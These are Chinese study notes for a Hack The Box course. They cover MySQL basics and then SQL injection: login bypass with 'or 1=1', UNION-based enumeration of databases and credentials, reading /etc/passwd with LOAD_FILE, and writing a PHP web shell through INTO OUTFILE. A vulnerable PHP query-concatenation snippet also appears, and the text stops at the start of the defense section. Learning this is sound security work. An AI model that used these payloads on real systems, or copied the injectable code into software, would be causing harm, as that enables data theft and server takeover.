HTB-sql基本知识
HTB-sql基本知识-mysql
sql-插入-insert
用于向给定表添加新记录
一、
语法
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);
上面的语法要求用户填写表中所有列的值。
例子:如何向登录表添加新登录名,并为每列添加适当的值。
mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
Query OK, 1 row affected (0.00 sec)
二、
跳过使用默认值填充列
INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);
例子:
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
Query OK, 1 row affected (0.00 sec)
跳过了id和date_of_joining列
三、
一次插入多条记录
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
sql-选择-select
用于检索数据
一、
语法
SELECT * FROM table_name;
星号 (*) 充当通配符并选择所有列。 FROM
关键字用于表示要从中选择的表。
二、
查询特定列中的数据
SELECT * column1, column2 FROM table_name
三、
实例
mysql> SELECT * FROM logins;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
mysql> SELECT username,password FROM logins;
+---------------+------------+
| username | password |
+---------------+------------+
| admin | p@ssw0rd |
| administrator | adm1n_p@ss |
| john | john123! |
| tom | tom123! |
+---------------+------------+
4 rows in set (0.00 sec)
第一种是查看logins表中所有数据,第二种则是查询username列和password列
sql-删除-drop
用于删除表和数据库
实例
mysql> DROP TABLE logins;
Query OK, 0 rows affected (0.01 sec)
mysql> SHOW TABLES;
Empty set (0.00 sec)
注意,drop语句永久完全删除表且无需确认
sql-更改-alter
用于更改任何表及其任何字段的名称,或者删除现有表或向现有表添加新列
一、
使用ADD将新列newColumn添加到logins表:
mysql> ALTER TABLE logins ADD newColumn INT;
Query OK, 0 rows affected (0.01 sec)
二、
重命名列
mysql> ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
Query OK, 0 rows affected (0.01 sec)
三、
使用MODIFY更改列的数据类型
mysql> ALTER TABLE logins MODIFY oldColumn DATE;
Query OK, 0 rows affected (0.01 sec)
四、
使用drop删除一列
mysql> ALTER TABLE logins DROP oldColumn;
Query OK, 0 rows affected (0.01 sec)
sql-更新-update
用于根据某些条件更新表中的特定记录
一、
语法
update table_name set column1=newvalue1, column2=newvalue2, ... where <condition>;
二、
查询更新了 id 大于 1 的所有记录中的所有密码
mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3 Changed: 3 Warnings: 0
mysql> SELECT * FROM logins;
+----+---------------+-----------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-----------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:50 |
| 3 | john | change_password | 2020-07-02 11:47:16 |
| 4 | tom | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)
sql-排序-order by
一、
对任何查询的结果进行排序并指定排序依据的列
mysql> SELECT * FROM logins ORDER BY password;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
二、
默认情况下,排序是按升序进行的,但我们也可以按ASC
或DESC
对结果进行排序:
mysql> SELECT * FROM logins ORDER BY password DESC;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
三、
还可以按多列排序,对一列中的重复值进行二次排序:
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
+----+---------------+-----------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-----------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:50 |
| 3 | john | change_password | 2020-07-02 11:47:16 |
| 4 | tom | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)
sql-限制-limit
一、
当我们的查询返回大量的记录,用于限制结果为我们想要的
mysql> SELECT * FROM logins LIMIT 2;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
二、
如果我们想用偏移量限制结果,我们可以在 LIMIT 计数之前指定偏移量:
mysql> SELECT * FROM logins LIMIT 1, 2;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
注意:偏移量标记了要包含的第一条记录的顺序,从0开始。对于上面的情况,它从第二条记录开始并包含,并返回两个值。
sql-子句-where
一、
要过滤或搜索特定数据,我们可以使用带有WHERE子句的SELECT
语句的条件来微调结果:
SELECT * FROM table_name WHERE <condition>;
上面的查询将返回满足给定条件的所有记录。
二、
mysql> SELECT * FROM logins WHERE id > 1;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)
上面的示例选择id
值大于1
所有记录。正如我们所看到的, id
为 1 的第一行已从输出中跳过。
三、
我们可以对用户名做类似的事情:
mysql> SELECT * FROM logins where username = 'admin';
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)
上面的查询选择用户名是admin
记录
注意:字符串和日期数据类型应该用单引号(')或双引号(")括起来,而数字可以直接使用。
sql-子句-like
一、
它允许通过匹配特定模式来选择记录
查询检索用户名以admin开头的所有记录:
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 4 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
%
符号充当通配符,匹配admin
之后的所有字符。它用于匹配零个或多个字符。类似地, _
符号用于精确匹配一个字符。下面的查询匹配所有包含三个字符的用户名,在本例中是tom
:
mysql> SELECT * FROM logins WHERE username like '___';
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 3 | tom | tom123! | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+
1 row in set (0.01 sec)
sql-与运算符-and
一、
AND
运算符接受两个条件并根据它们的评估返回true
或false
:
condition1 AND condition2
当且仅当condition1
和condition2
计算结果都为true
时, AND
运算的结果才为true
mysql> SELECT 1 = 1 AND 'test' = 'test';
+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> SELECT 1 = 1 AND 'test' = 'abc';
+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
| 0 |
+--------------------------+
1 row in set (0.00 sec)
补充:在 MySQL 术语中,任何non-zero
值都被视为true
,并且它通常返回值1
来表示true
。 0
被认为是false
。正如我们在上面的示例中看到的,第一个查询返回true
因为两个表达式都被评估为true
。但是,第二个查询返回false
因为第二个条件'test' = 'abc'
为false
。
sql-或运算符-or
一、
OR
运算符也接受两个表达式,并在其中至少一个表达式为true
时返回true
:
mysql> SELECT 1 = 1 OR 'test' = 'abc';
+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> SELECT 1 = 2 OR 'test' = 'abc';
+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (0.00 sec)
第一个查询的计算结果为true
因为条件1 = 1
为true
。第二个查询有两个false
条件,导致false
输出。
sql-非运算符-not
一、
NOT
运算符只是切换一个boolean
值“即true
转换为false
,反之亦然”:
mysql> SELECT NOT 1 = 1;
+-----------+
| NOT 1 = 1 |
+-----------+
| 0 |
+-----------+
1 row in set (0.00 sec)
mysql> SELECT NOT 1 = 2;
+-----------+
| NOT 1 = 2 |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
如上面的示例所示,第一个查询结果为false
因为它是1 = 1
计算的倒数,即true
,因此其倒数为false
。另一方面,第二个查询返回true
,因为1 = 2
'which is false
' 的反义词是true
。
sql-符号运算符
一、
AND
、 OR
和NOT
运算符也可以表示为&&
、 ||
和!
, 分别。以下是使用符号运算符的相同先前示例:
mysql> SELECT 1 = 1 && 'test' = 'abc';
+-------------------------+
| 1 = 1 && 'test' = 'abc' |
+-------------------------+
| 0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT 1 = 1 || 'test' = 'abc';
+-------------------------+
| 1 = 1 || 'test' = 'abc' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT 1 != 1;
+--------+
| 1 != 1 |
+--------+
| 0 |
+--------+
1 row in set (0.00 sec)
查询中的运算符
一、
在查询中使用这些运算符。以下查询列出了username
不是john
所有记录:
mysql> SELECT * FROM logins WHERE username != 'john';
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)
二、
查询选择id
大于1
并且username
不等于john
用户:
mysql> SELECT * FROM logins WHERE username != 'john' AND id > 1;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
sql-多个运算符优先级
SQL 支持各种其他运算,例如加法、除法以及按位运算。因此,一个查询可以同时具有多个具有多个操作的表达式。这些操作的顺序由运算符优先级决定。
一、
以下列表显示了 SQL 运算符的优先级。列表中首先出现的运算符具有更高的优先级。一起列出的运算符具有相同的优先级。
- 除法 (
/
)、乘法 (*
) 和模 (%
) - 加法 (
+
) 和减法 (-
) - 比较(
=
、>
、<
、<=
、>=
、!=
、LIKE
) - NOT (
!
) - AND (
&&
) - OR (
||
)
二、
实例:
SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
该查询有四个操作: != 、 AND 、 >和- 。从运算符优先级来看,我们知道减法优先,因此它首先将3 - 2计算为1 :
SELECT * FROM logins WHERE username != 'tom' AND id > 1;
接下来,我们有两个比较操作, >和!= 。两者具有相同的优先级,并且将一起评估。因此,它将返回 username 不是tom所有记录,以及id大于 1 的所有记录,然后应用AND返回满足这两个条件的所有记录:
mysql> select * from logins where username != 'tom' AND id > 3 - 2;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
| 3 | john | john123! | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
HTB-sql基本知识-sql注入
在web应用程序中使用sql
在PHP Web应用中,我们可以连接到数据库,并在php中通过MySQL语法使用数据库
看下面这串代码
$conn = new mysqli("localhost","root","password","users");
$query = "select * form logins";
$result = $conn->query($query);
$conn: 这是一个变量名,用于保存与数据库连接的对象。
new mysqli(): 使用 mysqli 构造函数创建一个新的数据库连接对象。
"localhost": 指定数据库服务器的位置(主机名)。在这个例子中,数据库服务器位于本地机器上。
"root": 指定用于连接数据库的用户名。
"password": 指定连接数据库时使用的密码。
"users": 指定要连接的数据库名称。
$query: 这是一个变量名,用于保存 SQL 查询语句。
"select * from logins": 这是一条 SQL 查询语句,用于从名为 logins 的表中选择所有列的所有记录。
$result: 这是一个变量名,用于保存查询结果。
$conn->query(): 使用 $conn 对象的 query() 方法执行 SQL 查询。
$query: 作为参数传递给 query() 方法,该参数包含了要执行的 SQL 查询语句。
然后,查询的输出将存储在$result
中,我们可以将其打印到页面或以任何其他方式使用它。下面的 PHP 代码将在新行中打印 SQL 查询的所有返回结果:
while($row = $result->fetch_assoc() ){
echo $row["name"]."<br>";
}
while($row = $result->fetch_assoc() ){:
$row: 这是一个变量,用于存储从数据库查询结果中获取的一行数据。
$result->fetch_assoc(): 使用 $result 对象的 fetch_assoc() 方法从查询结果中获取下一行数据,并将其作为一个关联数组返回。如果还有更多的行,fetch_assoc() 会返回这一行的数据;如果没有更多的行,它将返回 false。
while 循环: 这是一个循环结构,只要 $result->fetch_assoc() 返回的不是 false(即还有行可取),就会继续执行循环体内的代码。
echo $row["name"]."<br>";:
$row["name"]: 访问 $row 数组中的 "name" 键对应的值。这里的 "name" 应该是查询结果中的一列的名称。
."<br>": 在每个名字后面添加 HTML 的换行符 <br>,这样在网页上显示时每个名字会位于新的一行。
echo: 输出 $row["name"]."<br>" 的结果,即打印出 "name" 列的值,并在其后加上 <br>。
Web 应用程序在检索数据时通常也使用用户输入。例如,当用户使用搜索功能搜索其他用户时,他们的搜索输入将传递到 Web 应用程序,该应用程序使用该输入在数据库中进行搜索:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
所以sql注入就是这么来的,你输入的语句插入了后端设置的sql语句
sql注入
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
上述代码对用户输入的内容没有进行任何的过滤,所以当用户在插入代码时,会从代码流的角度修改后端执行的sql语句,从而获取自己想要的结果
正常来说,我们会进入以下的sql查询
select * from logins where username like '%$searchInput'
如果我们输入admin,就会变成%admin。但是如果我们输入'这将结束用户输入字段,在它之后,我们可以编写实际的 SQL 代码
例如,我们输入1'; DROP TABLE users;
会进入以下的sql查询
'%1'; DROP TABLE users;'
即
select * from logins where username like '%1'; DROP TABLE users;'
注意:在上面的示例中,为了简单起见,我们在分号 (😉 后面添加了另一个 SQL 查询。虽然这对于 MySQL 实际上是不可能的,但对于 MSSQL 和 PostgreSQL 是可能的。在接下来的部分中,我们将讨论在 MySQL 中注入 SQL 查询的真正方法。
语法错误
select * from logins where username like '%1'; DROP TABLE users;'
将返回错误
Error: near line 1: near "'": syntax error
这是因为最后一个尾随字符,其中有一个未闭合的额外引号 ( '
)
我们只有一个尾随字符,因为搜索查询的输入接近 SQL 查询的末尾。但是,用户输入通常位于 SQL 查询的中间,原始 SQL 查询的其余部分位于其后面。
为了成功注入,我们必须确保新修改的 SQL 查询在注入后仍然有效并且不存在任何语法错误。在大多数情况下,我们无法访问源代码来查找原始 SQL 查询并开发适当的 SQL 注入来进行有效的 SQL 查询。那么,我们怎样才能成功地注入 SQL 查询呢?
一种方法是通过传递多个单引号来使查询语法起作用,我们接下来将讨论 ( '
)。
sql注入的类型
预期查询和新查询的输出都可以直接打印在前端,我们可以直接读取它。
这称为In-band
SQL 注入,它有两种类型: Union Based(联合注入)
和Error Based(报错注入)
。
使用Union Based
SQL 注入,我们可能必须指定我们可以读取的确切位置,即“列”,因此查询将指示输出打印在那里。
至于基于Error Based
SQL 注入,当我们可以在前端获取PHP
或SQL
错误时使用它,因此我们可能会故意导致返回查询输出的 SQL 错误。
在更复杂的情况下,我们可能无法打印输出,因此我们可以利用 SQL 逻辑逐字符检索输出。
这称为 SQL Blind
注,它也有两种类型: Boolean Based(布尔盲注)
和Time Based(时间盲注)
。
通过Boolean Based
SQL 注入,如果我们的条件语句返回true
,我们可以使用 SQL 条件语句来控制页面是否返回任何输出,即“原始查询响应”。
对于Time Based
SQL 注入,我们使用 SQL 条件语句,如果条件语句使用Sleep()
函数返回true
,则延迟页面响应。
最后,在某些情况下,我们可能无法直接访问输出,因此我们可能必须将输出定向到远程位置,即“DNS 记录”,然后尝试从那里检索它。这称为Out-of-band
SQL 注入。
颠覆查询逻辑-万能密码
实例:一个web登录页面。当前sql查询是
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
故意让他报错试试

由于密码错误导致AND
运算结果false
,导致登录失败。
sqli发现
在我们开始破坏 Web 应用程序的逻辑并尝试绕过身份验证之前,我们首先必须测试登录表单是否容易受到 SQL 注入攻击。为此,我们将尝试在用户名后面添加以下有效负载之一,并查看它是否会导致任何错误或更改页面的行为方式:
注意:在某些情况下,我们可能必须使用有效负载的 URL 编码版本。一个例子是当我们将有效负载直接放入 URL“即 HTTP GET 请求”时。
我们注入一个单引号
我们看到抛出了 SQL 错误,而不是Login Failed
消息。该页面抛出错误,因为生成的查询是:
SELECT * FROM logins WHERE username=''' AND password = 'something';
我们输入的引号导致了奇数个引号,从而导致语法错误。
or注入
无论我们怎么输入,我们需要查询始终返回ture,才能达成绕过
为此,我们可以运用or运算符
在MySQL中AND
运算符将在OR
运算符之前进行计算。这意味着,如果整个查询中至少有一个TRUE
条件以及OR
运算符,则整个查询的计算结果将为TRUE
因为如果OR
运算符的操作数之一为TRUE
,则返回TRUE
。
始终返回true
的条件示例是'1'='1'
。但是,为了保持 SQL 查询正常运行并保留偶数个引号,我们将删除最后一个引号并使用 ('1'='1),而不是使用 ('1'='1'),因此剩余的单引号原始查询中的引用将代替它。
因此,如果我们注入以下条件并在其与原始条件之间使用OR
运算符,则它应该始终返回true
:
admin' or '1'='1
最终查询语句应该是
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
逻辑图:
其实这种方法叫做万能密码
使用注释
就像任何其他语言一样,SQL 也允许使用注释。注释用于记录查询或忽略查询的特定部分。除了内嵌注释/**/
之外,我们还可以在 MySQL 中使用两种类型的行注释--
和#
(尽管这通常不用于 SQL 注入)。 --
可以按如下方式使用:
mysql> SELECT username FROM logins; -- Selects usernames from the logins table
+---------------+
| username |
+---------------+
| admin |
| administrator |
| john |
| tom |
+---------------+
4 rows in set (0.00 sec)
在 SQL 中,仅使用两个破折号不足以开始注释。因此,它们后面必须有一个空格,因此注释以 (--) 开头,末尾有一个空格。有时 URL 会编码为 (--+),因为 URL 中的空格会编码为 (+)。为了清楚起见,我们将在末尾(--)添加另一个(-),以显示空格字符的使用。
也可以使用#(%23)
符号
mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)
一般来说,使用--+
也比较常见
如果应用程序需要在其他条件之前检查特定条件,则 SQL 支持使用括号。括号内的表达式优先于其他运算符并首先进行计算。
输入
admin')-- 关闭并注释掉其余部分
最终的查询语句应该为
SELECT * FROM logins where (username='admin')
联合查询-union子句
UNION
将两个SELECT
语句的输出合并为一个,比如将两个表的条目合并输出
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)
注意:所有位置上所选列的数据类型应相同。
一、
UNION
语句只能对具有相同列数的SELECT
语句进行操作。
如果我们尝试将两个具有不同列数结果的查询UNION
,我们会收到以下错误:
mysql> SELECT city FROM ports UNION SELECT * FROM ships;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
上述查询会导致错误,因为第一个SELECT
返回一列,第二个SELECT
返回两列。一旦我们有两个查询返回相同数量的列,我们就可以使用UNION
运算符从其他表和数据库中提取数据
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '
假设products
表有两列,上面的查询将从passwords
表中返回username
和password
条目。
二、
原始查询的列数通常与我们要执行的 SQL 查询的列数不同
例如,我们可以使用任何字符串作为垃圾数据,查询将返回该字符串作为该列的输出。如果我们与字符串"junk"
UNION
,则SELECT
查询将是SELECT "junk" from passwords
,这将始终返回junk
。我们还可以使用数字。例如,查询SELECT 1 from passwords
将始终返回1
作为输出。
注意:当向其他列填充垃圾数据时,我们必须保证数据类型与列的数据类型匹配,否则查询会返回错误
提示:对于高级 SQL 注入,我们可能只想使用“NULL”来填充其他列,因为“NULL”适合所有数据类型。
在上面的示例中, products
表有两列,因此我们必须对两列进行UNION
。如果我们只想获取一列“例如username
”,我们必须执行username, 2
,这样我们就有相同的列数:
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords
如果原始查询的表中有更多列,则必须添加更多数字来创建剩余的所需列。例如,如果原始查询在具有四列的表上使用SELECT
,则我们的UNION
注入将是:
UNION SELECT username, 2, 3, 4 from passwords-- '
将返回
mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '
+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
| admin | 2 | 3 | 4 |
+-----------+-----------+-----------+-----------+
检测列数-order by
利用基于联合的查询之前,我们需要找到服务器选择的列数。
- 使用order by
- 使用union
例如,我们可以从order by 1
开始,按第一列排序,然后成功,因为表必须至少有一个列。然后我们将按order by 2
,然后order by 3
,直到到达返回错误的数字,或者页面不显示任何输出,这意味着该列号不存在。我们成功排序的最终成功列为我们提供了列的总数。
另一种方法是尝试使用不同数量的列进行联合注入,直到成功返回结果。第一个方法总是返回结果,直到我们遇到错误,而这个方法总是给出错误,直到我们成功。
注入点
虽然查询可能返回多个列,但 Web 应用程序可能只显示其中的一些列。因此,如果我们将查询注入到页面上未打印的列中,我们将无法获得其输出。
所以我们要确定哪些列打印在页面上
HTB-sql基本知识-数据库枚举
我们通常要确定我们正在处理的DBMS的类型。因为他们都有不同的查询。
进行指纹识别

例如

输出10.3.22-MariaDB-1ubuntu1
意味着我们正在处理类似于 MySQL 的MariaDB
DBMS。由于我们有直接查询输出,因此我们不必测试其他有效负载。相反,我们可以测试它们并看看我们会得到什么。
information_schema数据库
要使用UNION SELECT
从表中提取数据,我们需要正确形成SELECT
查询。为此,我们需要以下信息:
- List of databases 数据库列表
- List of tables within each database
每个数据库中的表列表 - List of columns within each table
每个表中的列列表
INFORMATION_SCHEMA数据库包含有关服务器上存在的数据库和表的元数据。该数据库在利用 SQL 注入漏洞时发挥着至关重要的作用。由于这是一个不同的数据库,我们不能直接使用SELECT
语句调用它的表。如果我们只为SELECT
语句指定表的名称,它将在同一数据库中查找表。
因此,要引用另一个数据库中存在的表,我们可以使用点 ' .
' 操作员。例如,要SELECT
名为my_database
的数据库中存在的表users
,我们可以使用:
SELECT * FROM my_database.users;
schemata表
INFORMATION_SCHEMA
数据库中的表SCHEMATA包含有关服务器上所有数据库的信息。它用于获取数据库名称,以便我们可以查询它们。 SCHEMA_NAME
列包含当前存在的所有数据库名称。
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)
注意:前三个数据库是默认的 MySQL 数据库,并且存在于任何服务器上,因此我们通常在 DB 枚举时忽略它们。有时还有第四个“sys”数据库。
如果我们输入
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
除了默认数据库之外,我们再次看到两个数据库: ilfreight
和dev
。让我们找出 Web 应用程序正在运行哪个数据库来检索端口数据。我们可以使用SELECT database()
查询找到当前数据库。
cn' UNION select 1,database(),2,3-- -
tables表
要查找数据库中的所有表,我们可以使用INFORMATION_SCHEMA
数据库中的TABLES
表。
TABLES表包含有关整个数据库中所有表的信息。该表包含多个列。
TABLE_NAME
列存储表名,而TABLE_SCHEMA
列则指向每个表所属的数据库
查找dev数据库中的表名
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
columns列
需要找到表中的列名,这些列名可以在INFORMATION_SCHEMA
数据库的COLUMNS
表中找到。
COLUMNS表包含有关所有数据库中存在的所有列的信息。这有助于我们找到要查询表的列名。
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
data数据
cn' UNION select 1, username, password, 4 from dev.credentials-- -
HTB-sql基本知识-读写文件
除了从 DBMS 内的各种表和数据库收集数据之外,还可以利用 SQL 注入来执行许多其他操作,例如在服务器上读取和写入文件,甚至在后端服务器上获得远程代码执行。
权限
读权限比较普遍,但是在服务器上的写权限不是很常见的,一般都是特权用户。我们需要收集数据库中用户文件的数据,才能判断接下来用什么方式进行渗透
数据库用户
首先我们要知道我们在数据库中属于哪个用户,可以用到以下任何查询
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
例如
cn' UNION SELECT 1, user(), 3, 4-- -
或者
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
用户权限
当我们知道我们是哪个用户后,就可以收集该用户有哪些权限
查询是否具有超级管理员权限
SELECT super_priv FROM mysql.user
或者
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
用户名为root
如果有很多用户,我们可以添加WHERE user="root"
以仅显示当前用户的权限:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="用户名"-- -
查询返回Y
,表示YES
,表示超级用户权限
添加WHERE grantee="'root'@'localhost'"
以仅显示当前用户root权限
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
FILE
权限,使我们能够读取文件
LOAD_FILE 加载文件
使用LOAD_FILE()
函数
MariaDB / MySQL 中可以使用LOAD_FILE()函数从文件中读取数据。该函数只接受一个参数,即文件名。
读取/etc/passwd文件
SELECT LOAD_FILE('/etc/passwd');
实例:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
泄露当前页面源代码,当前页面位于/var/www/html/search.php
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
cril+u查看页面源代码
写入文件权限
三个条件
- User with
FILE
privilege enabled
启用FILE
权限的用户 - MySQL global
secure_file_priv
variable not enabled
MySQL 全局secure_file_priv
变量未启用 - Write access to the location we want to write to on the back-end server
对后端服务器上我们要写入的位置的写访问权限
secure_file_priv 安全文件权限
secure_file_priv变量用于确定从何处读取/写入文件。空值允许我们从整个文件系统读取文件。否则,如果设置了某个目录,我们只能从变量指定的文件夹中读取。。另一方面, NULL
意味着我们无法从任何目录读取/写入。 MariaDB 默认情况下将此变量设置为空,这样如果用户具有FILE
权限,我们就可以读取/写入任何文件。但是, MySQL
使用/var/lib/mysql-files
作为默认文件夹。这意味着在默认设置下不可能通过MySQL
注入读取文件。更糟糕的是,一些现代配置默认为NULL
,这意味着我们无法在系统内的任何位置读取/写入文件。
在MySQL
中,我们可以使用以下查询来获取该变量的值:
SHOW VARIABLES LIKE 'secure_file_priv';
所有变量和大多数配置都存储在INFORMATION_SCHEMA
数据库中。MySQL
全局变量存储在名为global_variables的表中,根据文档,该表有两列variable_name
和variable_value
。
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
或者
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
select into outfile选择到概要文件中
现在我们已经确认用户应该将文件写入后端服务器,让我们尝试使用SELECT .. INTO OUTFILE
语句来执行此操作。 SELECT INTO OUTFILE语句可用于将选择查询中的数据写入文件。这通常用于从表中导出数据。
要使用它,我们可以在查询后添加INTO OUTFILE '...'
将结果导出到我们指定的文件中。以下示例将users
表的输出保存到/tmp/credentials
文件中:
SELECT * from users INTO OUTFILE '/tmp/credentials';
转到后端服务器上cat就可以看到数据
还可以直接SELECT
字符串写入文件,从而允许我们将任意文件写入后端服务器。
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
编写web shell
通过sql注入,把我们编写的web shell注入数据库
例如注入
<?php system($_REQUEST[0]); ?>
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
注意""
是为了让联合注入保持相同的列
如果页面没有出现任何错误,表明文件可能已经写入
我们可以浏览到shell.php页面,执行命令来验证
HTB-sql基础知识-防御
对特殊字符进行转义
漏洞代码
<SNIP>
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
